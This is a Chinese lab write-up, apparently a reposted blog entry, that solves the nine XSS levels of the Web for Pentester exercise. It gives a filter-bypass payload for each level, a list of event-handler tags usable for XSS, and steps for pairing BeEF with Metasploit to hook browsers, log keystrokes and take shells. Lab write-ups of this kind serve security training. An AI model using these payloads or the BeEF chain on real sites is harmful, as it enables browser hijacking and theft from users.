web_pentester_xss

第一关

没有做什么过滤,只是简单的获取参数

name = <script>alert('1')</script>

第二关

对script做了一些过滤,大小写绕过就行

name = <scRipt>alert('1')</sCript>

第三关

与第二关的差别是大小写绕过不敏感了,所以使用重写一下就行了

<sc<script>ript>alert("111")</scr</script>ipt>

第四关

对script进行了过滤,只要标签中使用script就出错,用其他的标签就行了

<img src=# onclick=alert('aaa')>

一块介绍下我知道的xss可利用的HTML标签

<a href="javascript:alert('ssssss')">1</a>

<a onmouseover="javascript:alert('aaa')">

<a onmouseover=alert('ssss')>

<img src=# onclick=alert('sss')>

<img src=# onerror=alert('sss')>

<a onclick="window.alert()">1</a>

<video src=# onclick=alert('sss')>

还有一些与上面类似就不具体写了

<form action="">   <audio src="#">  <iframe scr="#">

如果不能出现弹窗可能是被浏览器阻止了,换个低版本的浏览器就行了

第五关

匹配alert的大小写

测试弹窗的函数不仅有alert还有prompt confirm eval(String.fromCharCode()

)

最后一个的意思就是把字符换成ascii码在执行

比如这关我使用的是最后一个

<a onmouseover= eval(String.fromCharCode(97,108,101,114,116,40,39,116,101,115,116,39,41,59)) >

第六关

他的输出值在script里面所以闭合前面的script或者直接插入

name=hacker";alert(1);//

name=hacker</script><script>alert('111')</script>

第七关

与第六关不同的是,闭合由双引号改为了单引号,而且加入了htmlentities()函数,这个函数会将  <    >和"实体化掉,因此无法通过闭合<script>标签的方式来解决所以payload

name=hacker';alert(1);//

第八关

在form表单中,有个<?php echo $_SERVER['PHP_SELF']; ?>,$_SERVER['PHP_SELF']这个东西是干什么用的,当前执行脚本的文件名,与document root有关,例如,本关的ip/xss/example8.php的脚本中使用$_SERVER['PHP_SELF']将得到/xss/example8.php,所以这里的payload是

example8.php/"><script>alert(1)</script>

第九关

dom-xss实锤,所谓的dom-xss其实是浏览器本地dom树直接解析了,不会像服务器发起数据包请求,而location是javascript里面管理地址栏的内置对象,location对象:设置或获取当前URL的信息。使用location对象可以设置或返回URL中的一些信息,一个完整的URL地址的格式为:协议://主机:端口/路径名称?搜索条件#hash标识,此题的payload

example9.php#<script>alert("1")</script>

如果出现上面情况,这是浏览器的锅,换个低版本浏览器就行了

用工具弄下吧,这次用的工具是beef和msf

首先先说明一下我的beef与msf的安装环境

beef安装在/usr/share/beef-xss

msf安装在/usr/share/metasploit-framework/

切换到beef的安装环境cd /usr/share/beef-xss  找到配置文件config.yaml

找到密码账号修改下,beef不允许使用默认密码账号登录,然后找到metasploit改为true

 

修改之后保存退出

切换到metasploit     cd  /usr/share/beef-xss/extensions/metasploit修改配置文件

把enable改为true

把里面的host与callback_host都改为当前的ip地址(不要用回环地址)

ssl改为false

改变custom环境与msf相同

保存之后退出

打开另一个终端,依次输入一下命令

sservice postgresql restart重启一下数据库

msfdb init  初始化数据库

msfconsole  打开控制台

load msgrpc ServerHost=192.168.22.128 Pass=abc123

当然密码你也可以在上面的配置文件里面设置

使用刚刚的终端切换到beef-xss目录下

cd /usr/share/beef-xss

执行beef  ./beef

出现这个加载就成功了

这个时候就可以登录beef了

http://127.0.0.1:3000/ui/panel

输入账号密码

根据beef可以获取到目标浏览器的版本等一些重要信息,监控键盘记录等,然后在msf中找到浏览器漏洞然后用beef跳转到指定得网页能获取到shell这里就不演示了。

原文地址:https://www.cnblogs.com/zhao-yang/p/13788192.html